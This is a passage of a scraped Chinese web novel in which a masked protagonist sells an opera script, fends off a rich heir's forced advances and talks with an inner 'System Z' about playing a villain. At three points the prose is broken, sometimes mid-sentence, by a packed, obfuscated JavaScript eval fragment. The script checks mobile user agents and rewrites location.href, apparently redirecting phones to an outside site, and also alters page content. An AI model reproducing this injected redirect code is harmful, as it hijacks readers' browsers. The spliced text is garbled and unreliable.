“无趣、过时、单调！曲目太短！” 他一生气撅嘴，两撇八字胡就像小鸟尾巴上翘。他重重拍打桌面，痛斥面前的助手。 “我让你去找能用得上的剧本，你给我带来了什么？！垃圾、狗屎、我把我的布鲁诺丢上台，都比这些有趣！” 橘猫布鲁诺和它主人一样圆滚滚，趴在钢琴上打哈欠。 “可、可是汉斯先生，之前筛选的时候，这些人都在您的候补名单上啊。”助理为自己辩解道，“这个、还有这个，你原来不是也选中了——” “那是给秋季盛会安排的，但现在不一样！” 肥胖又是出汗体质，经理汉斯吼完立马面红耳赤，不得不坐下喘气擦汗。 “那客人，不仅是贵客，是我们的新投资人，未来拿捏我们饭碗的人。我提前告诉你，他比我更苛刻更挑剔。你若不想以后扫地出门去大街上喝西北风，就给我大海捞针选、拼命挖！——” 这嗓音洪亮又刺耳，择明与乔尔不约而同往后微仰，借此降低音浪杀伤力。 恰是这时，汉斯注意到他们。 “乔尔！你不在下面看门，跑上来做什么？！” 早习惯经理暴跳如雷的日常，乔尔面不改色道，“先生，我这不是帮您解难嘛，喏，这是来送剧本的年轻人。” 汉斯眉间皱起沟壑，对择明的第一印象还是‘糟糕’等级。 “你要给我看什么。” 择明拆掉油纸，将亲自装订的书册捧在手心，没贸然走上前。 “请您允许？” 汉斯面色稍缓，招手示意进来。 一旁助理定力不足，盯着择明那副假面出神，直到被汉斯拍桌喝斥。 “去倒茶！客人都要坐在你头顶了，你还要傻站到什么时候？” 别说是灰溜溜心慌慌的助理，连平时好说话的择明都难得收敛，端坐在汉斯对面。 【系统Z：我现在能分辨出来了。比起您的无视，这更符合生气。而且很影响健康】 择明哭笑不得，想回应却被拍桌声打断。 “拿给我看看，不要磨蹭，万圣节小男孩。” 汉斯一手接过助理送上的茶杯，一手向他。 厚重，沉甸如果实的书册，被它的创作者双手奉上。汉斯烦躁的心底蓦然涌出股怪异情绪，没由来的心悸。他愤懑扯掉几颗扣子。 看来是他脾气太火爆，迟早要因为心脏承受不住猝死。 牛皮纸翻开第一页，经理双眼失焦数秒，往后读几行，他动作再变。 左边放着曲谱，右边放着台本，他同时翻看着，并在中间节段忍不住颤抖。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592334|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你写的作品？！”他瞪大眼，急促呼吸，“这、这全部都是你写的？” 择明点头。 由于汉斯模样太符合发怒前兆，逗留门外的乔尔看不下去，想说几句平息对方，好让莱特被丢出去时不会太难看。 然而开口没蹦出一个字，他就见经理绕过长桌，激动按住莱特肩膀。 “怎么会这样、你怎么会有这种——” “绝伦！精妙绝伦！” 比起突如其来的怒斥，此刻语无伦次的赞美才最让助理乔尔难以置信。 哪怕是城中享誉多年的顶尖作曲家将成品摆到汉斯眼前，他顶多也只评价‘很好’，‘不错’，‘这很有价值’。 可汉斯不给他们弄清原因的机会，将他们赶出休息室，一面捧着合册视如珍宝，贪婪阅读，哼着旋律。一面又频频看着择明说不出话，怕这个从天而降的救星消失。 待汉斯心情平复，择明才说道。 “如果您满意，汉斯先生。我可以无偿将他赠予您。不受任何分成费。” 刚从沉浸的作品中走出，汉斯口干舌燥，猛灌几口茶水。 汉斯：“那你一定会有什么要求吧。” “是的。一个请求。”择明改正道，“不过。还得等您能先找到人排演一遍，越快越好。这样我才知道能不能拜托您。毕竟这也是我的第一个作品，我不知道它到底有几分成功。” 第一个作品？！ 汉斯因震惊呆立，随后脖子一梗，仰头畅快大笑。 “我该说你是太高傲好，还是太谦虚？莱特·莱恩阁下。” 称呼从刚才的‘小男孩’到‘阁下’，一百八十度大转变的汉斯只觉得理所当然。他特地起身，与人郑重握手。 “那也得请您容我几天时间准备，到时如何联系？” 思索一番，择明留下伊凡·贝内特的名字以及传真地址。 默念那名字，汉斯虽然疑惑，但也只当这是同名同姓，没去多想。他亲自将择明送到剧院楼下，在这又聊了半小时，才意犹未尽与人告别。 回程还是同一趟火车，择明心情尚佳，指尖轻叩桌面，断断续续哼着不成旋律的音节。 【系统Z：即将接手这剧院的新投资人，是林威廉】 择明：“这汉斯先生不是告诉我们了吗，Z。” 【系统Z：我的意思是，您是因为知道这点，所以才故意选择这家剧院么】 近期与霍子骥联系的买家。 除此之外，还是‘莱特·莱恩’互相通气，交付霍家机密的同行竞争者。但莱特·莱恩不曾见过林威廉。 列车停在中间站，择明透过窗，看到两只麻雀在站牌顶端互啄互追，吵闹着彼此用爪尖踩压。 他回答。 “我只是选出他们中间最好的罢了。” 麻雀。这种一手可握的小东西，到处飞到处叽喳。大抵是同类中最具好奇心的一种，总爱落脚窗台，窥探屋中人们。 而由人类甩出的枕头，是将他们驱逐的常见工具。 昏暗卧室内，霍子骥保持丢枕头的姿势，坐在角落地板上。 酒味弥散，他每根凌乱的发丝仿佛都被高浓度酒液浸泡，粘稠又刺鼻。 三天未洗漱未出门，下巴已长出胡茬。 与这落魄萎靡模样相反，他双目有神，甚至像点着了火苗格外发亮。 “莱特·莱恩……” 念出这名字时，唇齿摩擦，冰凉的酒滑进喉中，入胃却似火灼热。一如这三天里，这个名字在他胸前中挥之不去，深深烙印。 紧闭的房门在这时被敲响。 “子骥。你在里面么？” 母亲的声音并未让他眼中泛起波澜。 “你已经三天没出来了，就算生病也该吃东西，要么让伊凡给你看看。” 苦口婆心好言相劝，门后依旧是死一般寂静，霍夫人不禁板起脸，严厉起来。 “我知道你在里面灌酒，也该适可而止了。你父亲他刚好这几天能下地……” 念叨声逐渐消失在霍子骥身后，他翻出窗，动作敏捷而灵活，借助窗边柏树像只大猫溜下去。 啰嗦又烦人的女人。 不耐烦的他心中说道。 三天时间，他不全是喝酒闷头睡觉。 大脑是世间最便利优越的放映机，能为他循环播放着那些刻骨铭心的，回味无穷的幕幕经历。 而这两者兼具的一段，主角名为‘莱特·莱恩’，对他只有一句台词。 ——希望您能记住，这又是我们的一个秘密了 那声音，时刻回响在耳边，令他辗转难眠。 踩着草皮花圃前行，霍子骥想着想着忽然笑出声。 “原来还是一个记仇的。” 因为他也以‘秘密’为由，用老花农的命要挟对方。 所以，对方也非要在那时机特地使用‘秘密’一词。 树叶蹭过胸膛，霍子骥看着远处花房笑容愈深。而当他发现金属门前的人时，几乎要遏制不住冲动，扑上去抓牢人。 可人影察觉他靠近，先一步转身。 霍子骥刹住脚步，表情从迷惑的空白渐渐转成鄙夷。 对方亦与他不相上下，两手环抱在胸前，目光冰冷。 ——他怎么会到这来。 此时此刻，霍家两兄弟内心所想达到高度一致。 “二哥。”霍子骥率先问候，却是满眼戏谑，“原来你长腿了，知道跑出来晒太阳了？” 从小到大，霍子晏向来与霍子骥不对付。倒不是水火不容，但相看相厌是真。 以往他都把霍子骥的取笑当耳边风，要么当对方不是说自己。然而今日站在某个人的门前，他莫名来了底气。 “我还想说，子骥原来也长这么大了啊。就是可惜了一张嘴，还学不会怎么跟长辈说话。霍夫人或许要再跟父亲反应一下，多请几个伶牙俐齿的漂亮家教教你。十七八个，你大概够了吧？” 回应出乎意料的尖酸刻薄，也精准踩中霍子骥的怒点。 远处小道上，择明姗姗来迟撞见这幕，嘴不禁张开‘O’型。 “哦噢，情况不太妙。” 他惊叹着担忧，可却步步藏进树丛，蹲下两手撑着脑袋，轻笑充满期待。 “两只小麻雀狭路相逢，要斗起来了。” 9. 打破的声音是pop！-09 新胡茬硬如小刺，不仅摸着扎人，某些时分感觉像种怪异生命体，寄居脸颊。 霍子骥摩挲下巴冷笑，感叹面前这位名义上的‘二哥’不逊于他几天未剃的毛刺，碍事碍眼。 四岁前，他同母亲被霍昭龙安排在其他别墅里。 那时‘霍夫人’还是伦娜小姐，一名百合花情人。馥郁芬芳，娇柔美丽，却有着随时被替换出花瓶的可能。 尽管厌烦母亲，更厌恶受其约束，霍子骥亦不得不承认，那女人在实现野心这方面，俨然是霍昭龙的次等版本。否则也没有他入住霍家的今日。 不算上后来的莱特，家中三个小孩，霍骊他从没私下面对面见过，就剩二哥，抬头不见低头见。 而正如每个组合家庭会有的通病，在霍子晏看来，他与他母亲是抢走前任夫人之位的偷窃犯，可憎可恨。 对他来说，霍子晏是不过问家业的呆木头。但过去无论是请家教还是在私立学院读书，霍子晏总能名列前茅，生活又至简得乏味，相比他可称作风顶级良好。 后来霍子晏辍学钻研绘画，霍昭龙虽放任其去，却也没殷勤支持。 这是一枚危险信号。 在霍昭龙心里，他另一个‘不务正业’的儿子依然是候选者。 雨夜，少年颈间涌出血色，杂乱诗篇与银面具后的怪诞面庞，被人以神秘蛇腔道出的‘秘密’一词。 种种碎片飞闪而过，霍子骥心不禁一沉。 马童艾文之死，他以‘艾文外出跑腿时失踪’瞒过所有人，可他至今找不到，更想不出是谁针对他，还如此了解他，甚至是他鲜为人知的床|中喜好。 唯一能肯定的是，对方离他很近。 近到他不敢想象。 思索间，霍子骥走出树荫，理了理衣襟。 “十七八个，那也太夸张了，二哥。你弟弟我虽然笨，可还没到这种令人发指的地步。”他突然笑得乖巧，露出整齐洁白两排牙，“你别看我现在邋里邋遢，纵欲过度似得，其实我这只是出来找灵感。” 霍子晏眉头一皱。 “灵感？你来找什么灵感？” 他看着霍子骥下巴一抬，示意他身后大门紧锁的花房。 “就这儿啊。实不相瞒，最近我找了一位不错的师父学艺，日日夜夜，陶冶情操……可有趣了。” 言辞刻意暧昧，话又是从他这匹狂放下流的野兽口中而出。 怒意霎那间拂过霍子晏紧绷的脸，厉色直白毫不掩饰。 这与霍昭龙神似的模样令霍子骥愈发不适，也令他彻底对其打消疑虑。 毕竟能想出安插间|谍招数的人，是绝不会因为一点模棱两可真假未定的小事，对他轻易表露愤怒的。 “谁……你找的老师，是谁？！” 木头人变成妖怪，凶相毕露，霍子骥举起两手，惊诧后退。 “二哥这是怎么了？我可没向你讨要学费啊，为什么要这么生气呢，嗯？” 试探到这其实可以结束，然霍子骥见人胸膛起伏激烈，呼吸急促，忽然来了兴趣。他继续佯装无知，却又笑得意味深长。 “二哥，难不成，其实你也想来拜师，夜以继日学习吗？但却被我抢先——” “啪嚓。” 霍子晏迈开长腿，倾身尚未走出一步便被树枝断裂声打岔。 兄弟二人双双转头，看向林道。 斑驳树影下，择明缓步前行，他仿佛是刚回来才这发现他们俩兄弟，于几步外一停，鞠躬行礼。 “三少爷，二少爷。” 猝不及防与他相遇，那两人一时无言，也没从道上让开。 择明：“请问，两位到这有什么事么。” 闻言霍子晏猛然转头，瞪着霍子骥眼神阴恻。 毫无疑问，刚才‘寻师作乐’的说辞完全是这混球糊弄他的。 像他们年幼时，年少时，一次又一次的整蛊取笑，没有停手的时候。 并非专程针对他，也不为从他身上获取利益。 恶意单纯，好比浪漫孩童随心所欲，会讲借口不讲道理。就与曾将莱特步步逼向末路的那群恶徒别无二致。 这一刻，霍子晏胸腔内鼓起团难以抒发的气。 危险气体，易燃易爆。 在此之前他从不知道，自己竟是如此易怒的脾气。 而当他发觉霍子骥正对莱恩·莱恩目不转睛，眸中闪动异样光彩时，气团已临近爆发点。 或许有血缘纽带相连，又或许是同屋檐下共住多年，他单凭这一个眼神，解读出霍子骥汹涌翻腾的欲|念。 “莱特。你说前几天有事，我就没来找你。” 霍子骥语速略快，上前抢先发话，“结果早上我一问仆人，他们说你这几天都没用餐。” 连续三天加班加点，本就消瘦的青年下巴又变尖不少，面具似乎都不再贴合。 端详着对方，霍子晏无奈摇头，试图带人往小径外走。远离那居心不轨的霍子骥，越远越好。 “走吧，我先带你去我那，让仆人送点东西来。” 边说边小心回头，只见霍子骥倚着树干并未追上，惬意眯眼深呼吸，像在享受午后暖阳与林间空气。第二次再看，他人已消失在原地，大抵是识趣离开了。 霍子晏如释重负，步伐间距缩短一半。 “你流了很多汗，子晏。你还好吗？” 左犹如触电，大幅度动弹，但并未甩开掌中牵握的手。霍子晏僵着脸，从目光呆滞到眼神乱瞟。 原来刚才逃得匆忙，他浑然不知自己是牵着莱特走的。尽管这并非天理难容的大事，可此刻他汗如雨下，心慌意乱，像行窃犯被当场揭发，无法言语。 “最近天热，在外面很容易中暑。你有哪不舒服么？” 男人嘴唇翕动，发不出声。 “我……” 折叠平整的丝绢，纯白一角印着靛蓝五瓣花。 抽出它的人用那指节弯曲的右手，替他轻拭汗珠。 犹如巫师向凡人展示奇妙魔法，是戏弄也是施舍，一股清凉甜味霎时从鼻前涌入，灌进脑海又于喉头回涌，将焦躁惶恐驱逐。 “一点薄荷柑橘混香。” 择明轻笑，解释这场‘魔法’原理。 “我本来想尝试制作点凉性香水，消暑用。可惜新手上道，失败得一塌糊涂。果然还是得乖乖去买。” 【系统Z：您所有器材是烧得一塌糊涂了，不过香水勉为其难算成功】 听着系统无情揭老底，择明两眼弯起，笑意更浓。 【下次我会换更耐用的】 【系统Z：我还以为您是要说，下次会注意用火的】 霍子晏沉默依旧，唯有频频吞咽时的喉结耸动暴露其激烈的心绪。 洒有香水的手帕最后被择明送给了他，而他则将对方领到主宅四楼——专属于他，此前不曾接待任何宾客的画室。 画室足有四五间房宽敞，周围靠墙摆满橱柜，各种颜料齐全，画纸画布存放满满当当。往里一圈，雪白石雕林立，围绕着两只空画架。 这显然被精心整理过，地板留着物品挪动的痕迹。 “可能还有点乱，你小心脚下颜料。因为我不喜欢别人进出。”霍子晏脱下外套，特地补充，“但莱特你随时都能来，也不必顾虑，想用什么就尽管拿，我完全不介意。事实上，你能来这我简直欣喜若狂。” 他目光紧随着择明，择明则动身走向摆放成品画的位置。 择明：“原来你还特地用一个地方，放我的画么。” 最初的雅歌新娘，黎明闪蝶，后来的花漫地洞，海潮拥月。每一幅都被精心装裱，放在最显眼，最能无死角供人观赏的地方。 择明没在自己作品展前逗留太久，他反而朝壁炉走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592335|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去，抬头仰望一名捧花妇人的肖像画。 女人身着紫色洋裙，帽檐垂挂面纱，将憔悴但依旧美丽的面容半笼。 “这是我母亲。”霍子晏走到择明身边。 “她一直希望我能亲自帮她画一幅……但我没赶在她离开前。” 忆起往昔，男人垂头，两只手攥成拳紧贴身侧。仿佛变成当年恐惧无措的男孩，陷在失去至亲的痛苦，和不为人知的愧疚中。 “画展，其实母亲不用去的。是因为我很想知道，那天有没有我喜欢的画家在场，她为了我才去的……” 车启动，藏于车底的炸|弹立即爆炸。当时爆炸威力太低，他母亲没死只是重伤昏迷，可混乱中有人冲出来，朝车里补了几枪后自|尽。 “她原本，不用去的。” “她也不该死在那里的。” 而谋杀真正的目标更不是她，是那辆车的主人霍昭龙。他的父亲。 一个妻子才因自己丧命不久，又很快将新欢迎娶进门的男人。 然多年缄默寡言，不代表他看不见听不到。他能笃定地说，这男人对所有的‘新欢’都是一成不变的态度。 没有过度宠爱的，没有相敬如宾的，他放在身边的妻子，永远是若即若离的漂亮情人，能为他充门面，让他拥有完整的一家之主头衔。 “……她不该在那死去的。” 喃喃重复着，霍子晏自知失态，转过身强装镇定，去门外通知仆人送餐。 注视霍子晏背影，择明又得一问。 【系统Z：您不打算安慰霍子晏么，主人】 “为什么？”择明轻声反问，“你为什么觉得，我该安慰他？” 新类型的难题将系统困住，它的主人亦不再话题，与霍子晏在画室谈天论地，笑声不绝于耳。二人共食一份点心，互相碰杯取乐。 最后被择明强烈要求，霍子晏才打消亲自送他下楼的念头。 夜晚再起闷雷，一场阵雨已蠢蠢欲动。 回花房的路上他毫无征兆开口，谆谆教诲。 “你之所以会困惑，Z。是因为你忘了记牢我选择的‘果’。” 【系统Z：您选择要成为一个完美的‘反派’】 “是的。” 【系统Z：可您……】 它的主人，总是笑脸相迎，善待他人的怪才。 做着与莱特·莱恩迥异，甚至能说天差地别的事。 似乎什么都会，什么都懂，看不穿他是在故弄玄虚，还是真有着深不见底，诉求交错密如蛛网，不可探查的内心。 这仿佛是一个无法破处的死循环。让系统被困了一遍又一遍。 “别着急，Z。我们还有足够多的时间相处。” 又像上次宽慰系统，择明解锁推开花房大门，屋内没提前准备夜灯，好在对场地熟悉，他轻松摸黑到桌旁。 取出火柴盒，身后枝叶沙沙响了一下。 红芯火柴划出道亮光，发丝受不知来源的微风牵引上扬。 到手被人抓住高举，身后已然覆来一道躯体，那片炙热胸膛紧贴他脊背。 木柴顶的小火苗受到惊吓，扑闪几秒便可怜兮兮地熄灭。 “如果您是太暗在找灯的话，三少爷。我可以提醒您，你找错地方了。” “哦？是么，多谢告知。” 霍子骥声音低沉，笑着猛力下压，像飓风带着摧枯拉朽之势压弯苍天古树。 但比原来随心所欲，蛮不讲理稍好的一点的是，他今天竟知道抬手挪开桌上东西，没让书册纸笔打翻在地。 如愿制住人，霍子骥难忍激越，两次呼吸猛跳仿佛没有间隙。 他附到对方耳边，近到每说一个字，齿尖都能蹭过耳廓，温热鼻息参杂浓醇酒味，是上品的葡萄佳酿。 “你说，你把我上一个令人满意的小玩具埋地里了，你要怎么赔我？” 10. 打破的声音是pop！-10 沐浴后的身躯自带氤氲芳香水汽，很难想象，像霍子骥这类人居然选用薰衣草香波。其中一缕若有若无肉桂香经垂落发丝传导，钻进择明鼻中。 双手被制，后颈给人以下巴抵住难以动弹，择明淡然抛出一问。 “我还以为三少爷您是真准备来这，向我彻夜学习，沉心知识的。” 因二人胸膛贴后背，霍子骥那低沉笑声像经身体传导，震得择明发痒。 “你白天是躲在哪看的好戏？嗯？” “你又是想跟谁再说一次‘晚安’，拧断他的脖子？我那呆木头二哥吗？” 若这位滥情三少爷也有自己的技艺爱好，那他必定是名卓越厨师。能用一双娴熟巧手按摩上乘牛肉，好让它褪去死亡时的苍白僵硬，变得酥松软糯，鲜嫩多汁，以供他更好享受。 今夜特地不待防身顶针，此刻他也不再按压择明肩膀，松开束缚，边说着边再度拥紧。 手却在即将挑开衣襟前给人抓握，对方力道不轻不重。可某种被掌控的寒意莫名萦绕心头，引起下意识的退缩。 霍子骥第一时间抽出手支起身体，并未走开。 在他营造的狭小空间里，择明总算转过身，不用再做乌龟。 “请原谅我愚钝，我并不明白您刚才的意思。我与二少爷趣味相投，机缘巧合成为朋友，相谈甚欢。再说，晚安不过是种常见问候语。” 说到这，择明不由得发笑。 “会在砍断别人脖子前发话的，一般是刽子手，而他们也只会问‘你是否承认你有罪’。是这样么，三少爷。您知道吗？” 他正人君子腔调，霍子骥反接接不出话来。只面无表情，蹙眉思索，琢磨着是他多想，还是这话真含沙射影，谴责他的罪孽。 闷雷由远及近，雨点却先心急火燎奔向地面，滴答敲打花房悬顶。尽管屋内漆黑一片，可适应后的二人已能通过注视彻底看清彼此。 从容，静谧，紫蓝绣球花般的眼睛如夜间深海，一眼望不到尽处。 远航者斗志昂扬，准备万全，依旧不敌浩渺深海，被诱使着失去方向，丧失理智，落得自甘跃下甲板的结局。 回想林道初次质问的幕幕，霍子骥心猛跳两下。 因他意识到，以他一贯强硬威逼，如火如雷的手段，压根无法在名为‘莱特·莱恩’的海洋中掀起波澜，小小水花也转瞬即逝。 冷傲医师伊凡拒绝过他，源于忍无可忍的愠怒，尚且能称作‘反应’。而他少数没得手的目标，情况或多或少相同。 当下这刻，前所未有。 或许他能撕扯掉这身衣服，犹如狂兽进食，将咬痕吻|痕留遍整具胴体，利刃挺|进侵占，快意攻城略地后，可这人仍镇定得像无事发生。 说不准，还会带着一样的礼貌笑意，对他说，‘你快要结束了吗’，‘祝你有个愉快的后半夜’，‘再会，三少爷’。 挫败感，一位久违且发誓老死不相往来的糟糕损友，毫无预兆敲响霍子骥的门，让他降旗投降，恍惚退开。 择明顺势站直，捋平衣领褶皱。 他捡回火柴，点燃夜灯。 “这儿得有一个坏消息，和一个好消息让您知道。坏消息是若您来学如何照料花卉，我想以我浅薄的知识，恐怕也只能带您入门。好消息是，今年这所花房或将是庄园中最美的一隅。” 提灯转身，动作不急不缓，他没将霍子骥领到艾文安眠的花渠，而是另丛月季前。 绿叶枝丫间花蕾安睡，沁香若隐若现，瞥见奇异的混色花瓣，霍子骥惊讶挑眉。 “什么时候家里也种得起这种昂贵品种了？” 在庄园或在会所置办酒宴，他往往从上到下，从里到外都亲自打点，为让所有眼光极高，要求严苛的贵客满意。而若到场贵妇小姐居多，他就得多在鲜花甜点上花些心思。 粗鲁拽过株月季，霍子骥凑近观察，像严格裁判评分后啧啧称奇。 “我前言收回，外面卖的货色也不及你这半分。” 这批混色月季质量极佳，粉黄双色渐变柔和，好似温馨暖阳，白红条纹交错得当，是纯天然的杰作。放在本地售卖，价格相当于三匹牛。正值青年，肉质最好的小公牛。 原先他听说这马夫之子打点花草有一手，没曾想是真的。 “我听说三少爷，是这次庆生宴的主办人。不知您的方案里，是否还有空缺的点子。” 霍子骥回神，难得表情冰冷，木着脸。 “我正奇怪着你怎么突然搭理我。原来是为了我那半只脚进棺材的大姐？”他不禁冷哼道，“所以，你那晚帮我解决掉艾文，不过是想方便要挟我，向我讨好处。” “你想要什么？要我替你给搭桥牵线。做媒人？” ‘痴情莱特为爱断手’的故事早传遍庄园上下，更别提当时亲眼见证全程的霍子骥。 答案其实是意料之中，可霍子骥憋着闷火，莫名气愤。没东西好发泄，他便收紧手发力，摧残着掌中价值千金的月季。 择明捻起朵浅粉花苞，它瓣已微绽，露出奶白中心。 “这是伊芙马蒂诺风琴和阿班斯，两种月季混杂的后代。您知道，想要得出这一朵，要重复多少次取粉授粉，筛选重来么？”他语调舒缓，吐字清晰，引人不自觉倾听。 霍子骥脱口而出，“要几次？” “三千八百五十六次。如果是在花场有人均摊次数倒轻松。若只有一个人操作……” 月季花期虽长，可要在数量如此之多的花种中重复杂交，等待开花，筛选再来。光是想想霍子骥就头疼。 “对付这种苦闷，我个人有一个很好的诀窍。” 择明侧身，他手中提灯的光将他苍白面庞染上浅浅火色。 “我将永远怀着烈火燃烧般的希望，和对您真挚纯净，至死不渝的爱。” 霍子骥拉扯月季的手松动，无措片刻但很快转过脸，嗤笑一问。 “你突然对我念你那乱七八糟的诗歌做什么？” 煤油灯火苗扑闪，他余光所见，青年仿佛因他的话而双眼发亮。 “原来您还记下来了。这倒出乎我意料，三少爷。所以您是想在我这学习点普通园艺，还是不值一提的诗歌纂曲。您可以不用给我学费，只求您在生日宴当天，替我这卑贱人送上祝福便好。” 不待对方回应，择明又举高灯，使这丛月季被暖光照耀。 “不过有一点我希望您知道，我对艾文所做之事，和对霍骊小姐，和对你，都无关系。” 难以理解。 霍子骥抓乱头发腹诽。 淅沥雨声浇灭他晚间伊始的躁动，险些令他忘记来此的目的。他兴奋期待的没发生，想知道的秘密与真相竹篮打水一场空。 今夜他唯一能确定的，是莱特·莱恩对霍骊的真情，名副其实。 即便对方坦言，帮他斩断间谍风波并非为了霍骊，也不是为从他这换取‘捷径’，讨好那闭门不出的大小姐。 但已有亦真亦假传言在先，很难不去往这方面想。 就连那部歌剧作品，也是为霍骊而创作的。 真的，不可理喻。 宛如嗅到腐烂腥臭味大倒胃口，霍子骥啧嘴没给答复，一声不吭冒雨离开花房。 一直到他背影消失在林中，择明才听到系统出声。 【系统Z：我还以为，您刚才是要在这直接跟三少爷进行实践学习】 “如果真要的话，Z。”择明若有所思停顿，“那我或许要借用伊凡先生的医学小知识，来招待三少爷了。毕竟三少爷虽然看着生猛狂野，很刺激的样子，但技术实在欠佳，差点火候，实在不适合做鱼水之欢的领路人。” 【系统Z：那这么说，您已经很懂了么，主人】 择明放下灯朝空气眨眼，笑意狡黠。 “如果你想，我可以试试看，Z。我能毫不谦虚的讲，我或许能用声音让你的小朋友‘去一回’。” 此后长达三分钟的沉寂，是择明度过最艰难的忍笑时光。 而Z最后不负他期待，回答他道。 【系统Z：很抱歉让您失望，主人。坦诚的说，我并没有那个功能】 “不，你从来不会让我失望，Z。事实上，你可让我开心了，比有小马驹再多两点吧。就是可惜你，那该怎么说来着，唔——你得打光棍了。” “但如果不介意的话，算我陪你当伴。” 【系统Z：嗯】 短暂的停歇后。 【系统Z：这是我的荣幸】 择明：“也是我的荣幸。” 为诚实可爱的系统愉快，择明今夜躺上吊床时嘴角都挂着浅笑。 而当他次日带着新课本踏入教堂大门，那群孩子一个个像饿虎扑食，欢呼吵闹着将他包围。 “莱恩先生！您的脸！——” “哇啊啊！” 小玛吉首次指着他激动尖叫，脸蛋通红。 择明右脸消肿死皮褪去后，还没过来教堂一趟，这是他第一次以这幅模样出现。 尽管恢复使得整张阴阳脸左右对比得更惨烈，可早已看习惯烧伤那半边，孩子们只是由衷为他高兴，经过他允许，小心触摸着，在他左右脸留下亲吻。 也是因他焕然一新的右脸，今天不少孩子听课走神，让他轻拍脑门惩罚。 积攒几天的课一直教到黄昏，最后节绘画课结束，择明抬头，与角落靠墙的伊凡目光不期而遇。 男人今日没戴眼镜，使不苟言笑的脸庞柔和不少，目光沉沉与他心照不宣，互相点头问候。 老牧师照常叫走孩子分发点心，他则被大步上前的伊凡叫住。 “今天没有问诊，我东西送到就走。” 伊凡示意他停止摆问诊台，从衣兜取出张纸递来。 原来以汉斯为代表的安士白剧院通过电报，正式向他发出感谢和邀请。 第一次排演于昨晚紧锣密鼓进行，效果不错，而依汉斯工作狂人的爆|炸脾气，今后整个乐团将会没日没夜被他压着练习，直到月底前能让《安德尔》顺利登上舞台。仔细一算，其实也只剩十天不到。 而作为歌剧的灵魂核心，原作者择明必有优待。 像在今晚，他就被邀请去参观彩排，顺便在现场提点意见。 “有人给我发来这个。我想他应该不是问错地址，或找我恶作剧吧？” 伊凡冷不防发问，语气多少有点兴师问罪。 于是择明赶忙解释。 “您可以把它当成森林妖精的善良好意，而非恼人的恶作剧。”他特地睁大眼，好让神情更无辜，热忱推销起来，“免费的剧院票，安士白剧院贵宾观赏位，空间绝对私密又舒服，还有免费点心。今后凡是报上我名字，您能随便带伴去，带几个都不成问题。” 男人撇嘴哼气，嗤之以鼻。 伊凡：“我没某位少爷的好身体。” 【系统Z：还有你打光棍，也没一个伴能带】 被Z的补充彻底戳中笑点，择明不禁狂按上翘的嘴角，接着转身，将纸放进旧提箱。 来教堂学习的孩子越来越多，他以前的油纸包已经不够用了。但教堂有换旧物的活动，老牧师特地帮他留了一只皮箱。 然而指腹抹过提把模糊的‘I·B’缩写刻痕，旧物原主是谁，不言而喻。 告别学生与伊凡肩并肩走出小巷，择明环顾四周一圈，颇感意外。 “您今天没搭车过来？” “我家司机有事。我就自己出来走走。”伊凡双手插兜，姿态闲散而随意。 择明点头，不做追问。 路过阴凉河道，也是即将分别的岔路，伊凡可算不再欲言又止，道出来意。 “你晚上要去剧院，正好，我也去。” “嗯？”择明佯装诧异，“原谅我多嘴一问，您去那有什么事要办么？要给病人看诊？我记得，您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人最多，最拥挤的鱼市，追逐感与步步紧逼的身影唤醒人心中原始的，被凶兽狩猎的紧迫。 自始至终注意身后，伊凡余光及时捕捉到冲来的男人——他像拨开杂草般推搡两侧行人，右手探向衣服里。 “小心！” 话音未落他扯过择明一拉，跨步挡在跟前，下意识抬手防御。 寒光划破衣袖，也刺进脆弱皮肤，原本该落在择明后背的刀尖，被伊凡·贝内特的手抵挡。 行动失败，那灰衣男人目光愤恨却不做停留，掉头冲入还未反应过来的人群中。 手臂鲜血汩汩流，伊凡失去以往镇定，忘了止血，忘了思考，紊乱的呼吸好似有谁扼住他的咽喉。 他只知道这伤口再深一点，再大一点，他这手也会像某人一样，彻底废了。 “呲啦——” 撕扯声响起，一熟悉的双手出现在他视野，为他按压包扎，完美紧急止血。这手主人的声音，是嘈杂围观者中唯一清晰，却令他颤栗胆寒的。 “这，已过于无礼了，伊凡先生。您说是么？” 他怔愣抬头，却被搀扶坐到长椅上。 “请帮我照看一下我的朋友。他是医生，之后可以照他说的做。” 他听到对方交代着周围的好心人，声音沉稳有力。却不像以往和煦温柔，可驱散任何阴邪寒冷。 伊凡·贝内特脸色发白，因逆光被迫眯眼。 面具遮遮掩得住面容，却无法阻挡眸中透出的深深冷意。在此之前，他从不知道一个被称作‘天使’般的人，能变得如岩窟魔王般阴鸷。 “我需要点时间，给不知礼貌的人，一点小教训……” 转身没入拥挤人群，呢喃声如恶魔低语弥留耳际，仿佛永远跟随逃亡者，找到天涯海角。 此刻这片街区唯一在奔逃的，是刺伤伊凡的灰衣男人。 从表情上看，他很懊恼，因为目标并不是他没见过的伊凡。是在他们帮派里被视为‘肥羊’的莱特·莱恩。 此前他到处踩点，总算摸清这肥羊的轨迹，原本他想更早动手的，可那几天肥羊却没来。导致他差点被催债的打得半死。 